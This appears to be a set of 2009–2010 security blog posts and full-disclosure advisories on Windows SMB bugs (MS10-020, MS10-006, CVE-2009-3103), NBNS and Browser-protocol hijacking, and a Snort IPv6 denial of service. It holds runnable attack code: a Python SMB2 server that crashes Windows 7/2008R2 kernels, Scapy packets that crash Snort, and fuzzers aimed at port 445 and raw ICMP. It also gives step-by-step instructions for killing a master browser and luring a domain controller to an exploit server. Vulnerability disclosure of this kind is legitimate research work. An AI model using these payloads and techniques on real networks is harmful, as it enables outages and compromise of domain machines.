MS10-020

This bug was discovered back in december 2009, and patched by microsoft in April 2010.
This issue is a basic stack overflow affecting only windows 7/2008R2 smb1 implementation.
It's actually a nice bug as the affected function is not protected by a canary, and allow us to redirect the flow anywhere we want to.
You can find the full advisory about this bug here : http://seclists.org/fulldisclosure/2010/Apr/201
Have phun !
PoC url : http://pastebin.com/h3jSyJTN

Turning SMB client bug to server side

This blog post is about a technic to automate with no user interaction at all SMB client side bug exploitation targeting the Domain Master Browser (DMB) or PDC  (only the PDC can be a DMB)which is basicaly the perfect target in a pentest. Targeting the DMB is perfect, simply because if you control that box, you'll control all computer joined to this box tree.

Since the SRD is once again downplaying SMB client side bug i think it's important to share this kind of tricks.

It's also important to mention that Browser and NBNS abusing is well known since a long time, as theses protocols wasn't developed with security in mind, this blog post is a simple real case example.

There's two way to automate SMB client side bug;

• NBNS Spoofing (require some "kind" of user interaction in some way,   anyways  in a corporate network it works pretty well)

• Browser Protocol Abusing (the funny one)

In this case I will cover a form of Browser Protocol Abusing.

The basic goal of this attack is to hijack the Local Master Browser (LMB), and there's various way to do so;

• Register via NBNS on the Workgroup or domain, and launch an election (zero filled election packet), the winning criteria is first the browser version, and then the box capabilities, which is controlled by us.
• Create a NBNS name/ip conflict with the LMB and after 3 shot send a "Name Overwrite Demand" packet
• Reset the LMB 

Why targeting the LMB ?
Simple, the Backup browser will sync via SMB (NetServerEnum2) on the LMB every 15 mn.
We don't care that much about the Backup Browser, what we want it's the DMB, and guess what, he's also syncing on the LMB as soon you send him a Browser MasterAnnouncement :]

In this case, i will wait for a HostAnnouncement, a  LocalMasterAnnouncement or an ElectionResquest, then I will send two LMB ResetBrowserState;
- one Reset_state clear_all
- one Reset_state stop_master

Which will directly kill the LMB (at least on Windows implementation).
Then you can launch an election that you're sure to win (as mentionned before),
make a Local Master Browser Announcement, and finally a MasterAnnouncement, then the DMB will connect direclty to your fake server and get pwned (or not).

Here's a quickly made proof of concept which work pretty well , it also have a NBNS spoofer just in case an admin try to access a share:]

I included a proof of concept for a previously discovered bug patched in february (MS10-006), you can find the full advisory here: http://seclists.org/fulldisclosure/2010/Feb/168

Note: Make sure your SMB server/exploit listen on 139 and 445, and can handle NBSS session request, if not, you wont get any candy.

Since Blogger is not python friendly:  http://pastebin.com/YBtzs9yr

A bug like MS10-006 can be easily wormable if exploited with this kind of approach.

More details on MS10-006

An Advisory as been released by Microsoft patching MS10-006.
This vulnerability as been found back in november while testing some client side vulnerability on SMB.
A full advisory regarding the details of this issue is located here

Regarding the SRD statement for smb client possible exploitation i'd like to add & post a small tool abusing netbios name service functionnality.
Ronald Bowes did some great work with nbtool for such purpose.

You can find a small version in python here;

Basicly, anyone on the segment using :
net use \\blabla\share
net view \\blabla\share
dir \\blabla\share
etc
On vista/7/server2008|R2 it's also possible to use start -> search box --> \\existing_machine\share

Any of these command result in a NBNS query asking which IP is using this netbios name
Then this small utility will answer it's at "attacker_IP".
Once the ip resolved, the machine will initiate a smb connection to that IP.
You can also abuse the BROWSER service for same kind of purpose, I will post a full entry when i get some free time ...

Releasing ICMPv4/IP fuzzer prototype

This is a short message to release an IP/ICMPv4 fuzzer, destinated for UTesting, and else.
I'd like to thanks Philippe Biondi for making such a library as scapy

In this example we go deep as layer 3 fuzzing, thanks scapy, we fuzz IP and ICMP by disassembling the packet in bytes, and modifing it, and then joining it and sending back

You can simply capture a ping echo (for example) you sended and then fuzz it, you will need to replace the checksum bytes by 00 00 always, for more information :

http://www.networksorcery.com/enp/protocol/ip.htm
http://www.networksorcery.com/enp/protocol/icmp.htm

You can easily adapt this fuzzer to any kind of networking fuzzing.

Dont forget it's a prototype, and i ASSUME you know what you're doing, do not ask for help.

As blogger is not python friendly: http://pastebin.com/f5c536013

Have fun with this concept :)

#!/usr/bin/python
import random, sys,logging,os
from random import *
from scapy.all import *
logging.getLogger("scapy").setLevel(1)

##fuzzer core##
def onerand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
pack[choice(range(len(packet)))]= byte
print "fuzzing rand byte:%s\n" % (byte.encode("hex"))
return pack

def doublerand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
byte2 = str(chr(choice(range(256))))
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte2
print "fuzzing rand byte:%s byte2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))
return pack

def longrand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack

def longerrand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack

def longerrandnull(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte+"\x00"*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack

def opnum(packet):
pack = packet[:]
byte = str(chr(choice(range(0,2))))
pack[choice(range(len(packet)))]= byte
print "fuzzing opnum:%s\n" % (byte.encode("hex"))
return pack

def doubleopnum(packet):
pack = packet[:]
byte = str(chr(choice(range(0,2))))
byte2 = str(chr(choice(range(0,2))))
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte2
print "fuzzing opnum:%s et opnum no-2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))
return pack

def remove1(packet):
pack = packet[:]
i = randrange(0, len(pack)-1)
b = pack[:i] + pack[i+1:]
print "remove one char fuzz, removed :%s"%(pack[i].encode("hex"))
return b

def changenull(packet):
pack = packet[:]
null = [i for i in range(len(pack)) if pack[i] == '\x00']
byte = str(chr(choice(range(256))))
pack[choice(null)] = byte
print "replaced one null by a %s"%(byte.encode("hex"))
return pack


def removenull(packet):
pack = packet[:]
null = [i for i in range(len(pack)) if pack[i] == '\x00']
num = choice(null)
del pack[choice(null)]
print "deleted null no-:%s"%(num)
return pack

def randfunc(packet):
func = choice([onerand,doublerand,longrand,longerrand,longerrandnull,removenull,changenull,remove1,doubleopnum,opnum])
print "using %s fuzzing type (HARD)"%(func.__name__)
return func(packet)

def zenfunc(packet):
func = choice([onerand,removenull,changenull,remove1,doubleopnum,opnum])
print "using %s fuzzing type (ZEN)"%(func.__name__)
return func(packet)

##End fuzzer core##

ip = [chr(int(a, 16)) for a in """
4e fe 01 08 00 00 40 00 fa 01 00 00 c0 a8 02 64
c0 a8 02 65 44 24 0d 01 c0 a8 02 64 04 80 30 77
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00""".split()]

icmp = [chr(int(a, 16)) for a in """
08 00 00 00 00 00 00 04 75 54 08 4b 00 00 00 00
04 6b 0d 00 00 00 00 00 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
""".split()]

def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
a= length[2:4]
pack = payload[:]
pack[2:4]= a
return pack

def OpIP(packet):
pack = packet[:]
num = str(chr(choice(range(1,9))))
num1 = str(chr(choice(range(0,150))))
#pack[0] = num
#pack[9] = num1
print "fuzzing version OPNUM no-:%s and nh OPNUM no-:%s"%(num.encode("hex"),num1.encode("hex"))
return pack

def OpIcmp(packet):
pack = packet[:]
num = str(chr(choice(range(0,42))))
pack[0] = num
print "fuzzing ICMP OPNUM no-:%s"%(num.encode("hex"))
return pack

##checksum calculation and replacement##
##checksum() ripped from scapy, hard to do better...
def checksum(pkt):
pkt=str(pkt)
s=0
if len(pkt) % 2 == 1:
pkt += "\0"
for i in range(len(pkt)/2):
s = s + (struct.unpack("!H",pkt[2*i:2*i+2])[0])
s = (s >> 16) + (s & 0xffff)
s += s >> 16
return ~s & 0xffff
##/checksum() ripped from scapy, hard to do better...

def add_checksum(packet):
a = struct.pack(">i",checksum(''.join(packet)))
b = a[2:4]
pack = packet[:]
pack[2:4]=b
return pack

def add_ip_checksum(packet):
a = struct.pack(">i",checksum(''.join(packet)))
b = a[2:4]
pack = packet[:]
pack[10:12]=b
return pack

##checksum calculation and replacement##

### snort is an example of hookin' a prog in your fuzzin'

pid = os.system("pidof snort")
while os.system("pidof snort") == pid:

a = longueur(zenfunc(ip)+add_checksum(randfunc(icmp)))
b = ''.join(add_ip_checksum(a))
packet = (Ether(dst="ff:ff:ff:ff:ff:ff",type=0x0800)/b)
print "packet IP:%s\n"%(b.encode("hex"))
sendp(packet)

##enjoy !

Windows 7 / Server 2008R2 Remote Kernel Crash

This bug is a real proof that SDL FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so basic, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:

netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?

"Most secure Os ever";
What ever your firewall is set to, you can get remotely smashed via IE or even via some broadcasting nbns tricks (no user interaction)


Advisory:

=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND
-------------------------
..

III. DESCRIPTION
-------------------------
See : http://g-laurent.blogspot.com/ for much more details

#Comment: This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT
-------------------------
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()



V. BUSINESS IMPACT
-------------------------
An attacker can remotely crash any Windows 7/Server 2008R2
on a LAN or via IE

VI. SYSTEMS AFFECTED
-------------------------
Windows 7, Windowns Server 2008R2

VII. SOLUTION
-------------------------
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES
-------------------------
http://blogs.msdn.com/sdl/

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknowledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: This bug released.

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

Snort 2.8.5 IPv6 Remote Denial of service

=============================================
- Date: October 22th, 2009
- Discovered by: Laurent Gaffié
- Severity: Low
=============================================

I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS


II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet
To trigger theses bug you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v)

III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two different bug easily by using the python Low-level networking lib Scapy ( http://www.secdev.org/projects/scapy/files/scapy-latest.zip ):

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(
type=4)/z) #nh1 -> icmp (not v6)


IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5

V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor


VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :
http://www.snort.org/downloads


VII. REFERENCES
-------------------------
http://www.snort.org
http://vrt-sourcefire.blogspot.com/

VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team release a new version.



IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

More explication on CVE-2009-3103

This short post is an answer to the many questions i received regarding how i found the smb2 bug.
I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.
I also pointed at MS lack of S.Q.A on SMB2; it's true.
I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;
Single Network Byte Fuzzing.
So i hardcoded a pretty simple fuzzer (python) for this approach:
----------------------------------------------------------
from socket import *
from time import sleep
from random import choice

host = "IP_ADDR", 445

#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]


while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()
----------------------------------------------------------

This simple fuzzer pwned smb2 in 3 seconds.
Nothing special here, no wheel reinvented.
Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.
I dont believe in these assumptions, and I definatly prefer to "waste my time"...

Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...
As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.
This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs
like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2
after which they said :
"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing.
They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing
before the update needs to be released"
Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this
bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)

Yes Full-Disclosure is usefull, and yes i believe in it.